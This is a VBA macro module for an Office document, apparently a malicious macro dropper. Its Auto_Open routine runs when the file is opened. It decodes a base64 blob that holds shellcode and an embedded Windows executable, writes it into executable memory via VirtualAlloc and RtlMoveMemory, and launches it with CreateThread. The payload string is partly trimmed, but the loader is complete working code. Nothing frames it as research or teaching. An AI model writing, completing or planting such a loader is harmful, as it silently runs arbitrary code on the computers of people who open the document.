Private Declare Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Sub RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As Long, ByVal sSource As String, ByVal lLength As Long)
Private Declare Function CreateThread Lib "KERNEL32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As Long
Private Const clOneMask = 16515072          '000000 111111 111111 111111
Private Const clTwoMask = 258048            '111111 000000 111111 111111
Private Const clThreeMask = 4032            '111111 111111 000000 111111
Private Const clFourMask = 63               '111111 111111 111111 000000
Private Const clHighMask = 16711680         '11111111 00000000 00000000
Private Const clMidMask = 65280             '00000000 11111111 00000000
Private Const clLowMask = 255               '00000000 00000000 11111111
Private Const cl2Exp18 = 262144             '2 to the 18th power
Private Const cl2Exp12 = 4096               '2 to the 12th
Private Const cl2Exp6 = 64                  '2 to the 6th
Private Const cl2Exp8 = 256                 '2 to the 8th
Private Const cl2Exp16 = 65536              '2 to the 16th
Const MEM_COMMIT = &H1000
Const PAGE_EXECUTE_READWRITE = &H40
Public Sub Auto_Open()
    Dim sShellCode As String
    Dim lpMemory As Long
    Dim lResult As Long

    sShellCode = Decode64(ShellCode1())
    lpMemory = VirtualAlloc(0&, Len(sShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
    RtlMoveMemory lpMemory, sShellCode, Len(sShellCode)
    lResult = CreateThread(0&, 0&, lpMemory, 0&, 0&, 0&)
End Sub
Private Function ShellCode1() As String
    Dim Strg As String
    Strg = ""
    Strg = Strg + "TVroAAAAAFtSRVWJ5YHDWIEAAP/TicNXaAQAAABQ/9Bo8LWiVmgFAAAAUP/TAAAAAAAAAAAAAAAAAAAA"
    Strg = Strg + "8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K"
    Strg = Strg + "JAAAAAAAAACf0hwW27NyRduzckXbs3JFZvzkRdqzckXF4fZF8rNyRcXh50XIs3JFxeHxRVqzckX8dQlF"

'.... trimmed for brevity ....

    Strg = Strg + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    Strg = Strg + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    Strg = Strg + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    Strg = Strg + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    Strg = Strg + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="

    ShellCode1 = Strg
End Function
Public Function Decode64(sString As String) As String
    Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
    Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
    Dim lTemp As Long
    sString = Replace(sString, vbCr, vbNullString)      'Get rid of the vbCrLfs.  These could be in...
    sString = Replace(sString, vbLf, vbNullString)      'either order.
    lTemp = Len(sString) Mod 4                          'Test for valid input.
    If lTemp Then
        Call Err.Raise(vbObjectError, "MyDecode", "Input string is not valid Base64.")
    End If

    If InStrRev(sString, "==") Then                     'InStrRev is faster when you know it's at the end.
        iPad = 2                                        'Note:  These translate to 0, so you can leave them...
    ElseIf InStrRev(sString, "=") Then                  'in the string and just resize the output.
        iPad = 1
    End If

    For lTemp = 0 To 255                                'Fill the translation table.
        Select Case lTemp
            Case 65 To 90
                bTrans(lTemp) = lTemp - 65              'A - Z
            Case 97 To 122
                bTrans(lTemp) = lTemp - 71              'a - z
            Case 48 To 57
                bTrans(lTemp) = lTemp + 4               '1 - 0
            Case 43
                bTrans(lTemp) = 62                      'Chr(43) = "+"
            Case 47
                bTrans(lTemp) = 63                      'Chr(47) = "/"
        End Select
    Next lTemp
    For lTemp = 0 To 63                                 'Fill the 2^6, 2^12, and 2^18 lookup tables.
        lPowers6(lTemp) = lTemp * cl2Exp6
        lPowers12(lTemp) = lTemp * cl2Exp12
        lPowers18(lTemp) = lTemp * cl2Exp18
    Next lTemp
    bIn = StrConv(sString, vbFromUnicode)               'Load the input byte array.
    ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)       'Prepare the output buffer.

    For lChar = 0 To UBound(bIn) Step 4
        lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + _
                lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3))           'Rebuild the bits.
        lTemp = lQuad And clHighMask                    'Mask for the first byte
        bOut(lPos) = lTemp \ cl2Exp16                   'Shift it down
        lTemp = lQuad And clMidMask                     'Mask for the second byte
        bOut(lPos + 1) = lTemp \ cl2Exp8                'Shift it down
        bOut(lPos + 2) = lQuad And clLowMask            'Mask for the third byte
        lPos = lPos + 3
    Next lChar
    sOut = StrConv(bOut, vbUnicode)                     'Convert back to a string.
    If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)   'Chop off any extra bytes.
    Decode64 = sOut
End Function